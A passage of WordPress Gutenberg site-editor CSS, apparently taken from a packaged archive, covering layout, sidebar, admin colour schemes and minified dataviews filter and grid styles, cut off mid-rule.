  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  flex-grow:1;
  margin:0;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-layout__area{
    border-radius:8px;
    margin:16px 0 16px 16px;
  }
}

.edit-site .components-editor-notices__snackbar{
  bottom:16px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
}

.edit-site-page{
  background:#fff;
  color:#2f2f2f;
  container:edit-site-page/inline-size;
  height:100%;
}
@media not (prefers-reduced-motion){
  .edit-site-page{
    transition:width .2s ease-out;
  }
}

.edit-site-page-header{
  background:#fff;
  border-bottom:1px solid #f0f0f0;
  padding:16px 48px;
  position:sticky;
  top:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .edit-site-page-header{
    transition:padding .1s ease-out;
  }
}
.edit-site-page-header .components-heading{
  color:#1e1e1e;
}
.edit-site-page-header .edit-site-page-header__page-title{
  min-height:40px;
}
.edit-site-page-header .edit-site-page-header__page-title .components-heading{
  flex-basis:0;
  flex-grow:1;
  white-space:nowrap;
}
.edit-site-page-header .edit-site-page-header__sub-title{
  margin-bottom:8px;
}

@container (max-width: 430px){
  .edit-site-page-header{
    padding:16px 24px;
  }
}
.edit-site-page-content{
  display:flex;
  flex-flow:column;
  height:100%;
  position:relative;
  z-index:1;
}

.edit-site-save-hub{
  border-top:1px solid #2f2f2f;
  color:#949494;
  flex-shrink:0;
  margin:0;
  padding:16px;
}

.edit-site-save-hub__button{
  color:inherit;
  justify-content:center;
  width:100%;
}
.edit-site-save-hub__button[aria-disabled=true]{
  opacity:1;
}
.edit-site-save-hub__button[aria-disabled=true]:hover{
  color:inherit;
}
.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{
  color:#1e1e1e;
}

@media (min-width:600px){
  .edit-site-save-panel__modal{
    width:600px;
  }
}

.edit-site-sidebar__content{
  contain:content;
  flex-grow:1;
  overflow-x:hidden;
  overflow-y:auto;
}

@keyframes _fwjws_slide-from-right{
  0%{
    opacity:0;
    transform:translateX(-50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
@keyframes _fwjws_slide-from-left{
  0%{
    opacity:0;
    transform:translateX(50px);
  }
  to{
    opacity:1;
    transform:none;
  }
}
.edit-site-sidebar__screen-wrapper{
  animation-duration:.14s;
  animation-timing-function:ease-in-out;
  display:flex;
  flex-direction:column;
  height:100%;
  max-height:100%;
  overflow-x:auto;
  padding:0 12px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:stable;
  scrollbar-width:thin;
  will-change:transform;
  will-change:transform, opacity;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{
  background-color:initial;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{
  background-color:#757575;
}
.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{
  scrollbar-color:#757575 #0000;
}
@media (hover:none){
  .edit-site-sidebar__screen-wrapper{
    scrollbar-color:#757575 #0000;
  }
}
@media (prefers-reduced-motion:reduce){
  .edit-site-sidebar__screen-wrapper{
    animation-duration:0s;
  }
}
.edit-site-sidebar__screen-wrapper.slide-from-left{
  animation-name:_fwjws_slide-from-left;
}
.edit-site-sidebar__screen-wrapper.slide-from-right{
  animation-name:_fwjws_slide-from-right;
}

.edit-site-site-hub{
  align-items:center;
  display:flex;
  gap:8px;
  height:60px;
  justify-content:space-between;
  margin-left:12px;
}

.edit-site-site-hub__actions{
  flex-shrink:0;
}

.edit-site-site-hub__view-mode-toggle-container{
  flex-shrink:0;
  height:60px;
  width:60px;
}
.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{
  background:#0000;
}

.edit-site-site-hub__title .components-button{
  color:#e0e0e0;
  display:block;
  flex-grow:1;
  font-size:15px;
  font-weight:500;
  margin-right:-4px;
  overflow:hidden;
  padding-left:16px;
  position:relative;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{
  color:#e0e0e0;
}
.edit-site-site-hub__title .components-button:focus{
  box-shadow:none;
  outline:none;
}
.edit-site-site-hub__title .components-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.edit-site-site-hub__title .components-button:after{
  content:"↗";
  font-weight:400;
  left:0;
  opacity:0;
  position:absolute;
}
@media not (prefers-reduced-motion){
  .edit-site-site-hub__title .components-button:after{
    transition:opacity .1s linear;
  }
}
.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{
  opacity:1;
}

.edit-site-site-hub_toggle-command-center{
  color:#e0e0e0;
}
.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{
  fill:#f0f0f0;
}

.edit-site-site-icon__icon{
  fill:currentColor;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{
  padding:12px;
}

.edit-site-site-icon__image{
  aspect-ratio:1/1;
  background:#333;
  height:100%;
  object-fit:cover;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__image{
  border-radius:0;
}

.edit-site-editor__view-mode-toggle button:focus{
  position:relative;
}
.edit-site-editor__view-mode-toggle button:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.edit-site-editor-canvas-container{
  background-color:#ddd;
  height:100%;
}
.edit-site-editor-canvas-container iframe{
  display:block;
  height:100%;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{
  padding:24px 24px 0;
}

.edit-site-editor-canvas-container__section{
  background:#fff;
  border-radius:8px;
  bottom:0;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .edit-site-editor-canvas-container__section{
    transition:all .3s;
  }
}

.edit-site-editor-canvas-container__close-button{
  background:#fff;
  left:8px;
  position:absolute;
  top:8px;
  z-index:2;
}

.edit-site-post-list__featured-image{
  height:100%;
  object-fit:cover;
  width:100%;
}

.edit-site-post-list__featured-image-wrapper{
  border-radius:4px;
  height:100%;
  width:100%;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){
  background-color:#f0f0f0;
  border-radius:4px;
  display:block;
  flex-grow:0 !important;
  height:32px;
  overflow:hidden;
  position:relative;
  width:32px;
}
.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.edit-site-post-list__featured-image-button{
  background-color:unset;
  border:none;
  border-radius:4px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
  width:100%;
}
.edit-site-post-list__featured-image-button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-site-post-list__status-icon{
  height:24px;
  width:24px;
}
.edit-site-post-list__status-icon svg{
  fill:currentColor;
  margin-right:-4px;
}

.edit-site-resizable-frame__inner{
  position:relative;
}
body:has(.edit-site-resizable-frame__inner.is-resizing){
  cursor:col-resize;
  user-select:none;
  -webkit-user-select:none;
}

.edit-site-resizable-frame__inner.is-resizing:before{
  content:"";
  inset:0;
  position:absolute;
  z-index:1;
}

.edit-site-resizable-frame__inner-content{
  inset:0;
  position:absolute;
  z-index:0;
}

.edit-site-resizable-frame__handle{
  align-items:center;
  background-color:#75757566;
  border:0;
  border-radius:4px;
  cursor:col-resize;
  display:flex;
  height:64px;
  justify-content:flex-end;
  padding:0;
  position:absolute;
  top:calc(50% - 32px);
  width:4px;
  z-index:100;
}
.edit-site-resizable-frame__handle:before{
  content:"";
  height:100%;
  position:absolute;
  right:100%;
  width:32px;
}
.edit-site-resizable-frame__handle:after{
  content:"";
  height:100%;
  left:100%;
  position:absolute;
  width:32px;
}
.edit-site-resizable-frame__handle:focus-visible{
  outline:2px solid #0000;
}
.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{
  background-color:var(--wp-admin-theme-color);
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}

#adminmenumain,#wpadminbar{
  display:none;
}

#wpcontent{
  margin-right:0;
}

body.js #wpbody{
  padding-top:0;
}

body{
  background:#fff;
}
body #wpcontent{
  padding-right:0;
}
body #wpbody-content{
  padding-bottom:0;
}
body #wpbody-content>div:not(#gutenberg-posts-dashboard):not(#screen-meta),body #wpfooter{
  display:none;
}
body .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body ul#adminmenu a.wp-has-current-submenu:after,body ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

#gutenberg-posts-dashboard{
  box-sizing:border-box;
  height:100vh;
}
#gutenberg-posts-dashboard *,#gutenberg-posts-dashboard :after,#gutenberg-posts-dashboard :before{
  box-sizing:inherit;
}
@media (min-width:600px){
  #gutenberg-posts-dashboard{
    bottom:0;
    left:0;
    min-height:100vh;
    position:fixed;
    right:0;
    top:0;
  }
}
.no-js #gutenberg-posts-dashboard{
  min-height:0;
  position:static;
}
#gutenberg-posts-dashboard .components-editor-notices__snackbar{
  bottom:16px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
}PK1Xd[ÖǪ&k&k dist/edit-site/style-rtl.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;padding:16px 48px;position:sticky;right:0}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-left:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;width:230px}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 8px 0}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){border-bottom:1px solid #e0e0e0;padding-bottom:8px}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;left:4px;padding:0;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;gap:8px;margin-block-end:2px;padding:8px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{fill:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{flex-shrink:0;height:24px;width:24px}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{background:#f0f0f0;border:none;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin-left:0;margin-right:0;padding:0 8px 0 32px;width:100%}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;display:flex;justify-content:center;left:12px;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;left:0;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;text-align:center;top:0;transform:translate(-50%,-50%)}.dataviews-search{width:fit-content}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;padding:12px 48px;position:sticky;right:0;z-index:2}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-selection-checkbox{--checkbox-input-size:24px;flex-shrink:0;line-height:0}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid{container-type:inline-size;grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@media not (prefers-reduced-motion){.dataviews-view-grid{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-items:center;display:flex;min-height:24px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#f0f0f0;border-radius:4px;min-height:200px;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;pointer-events:none;position:absolute;right:0;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field 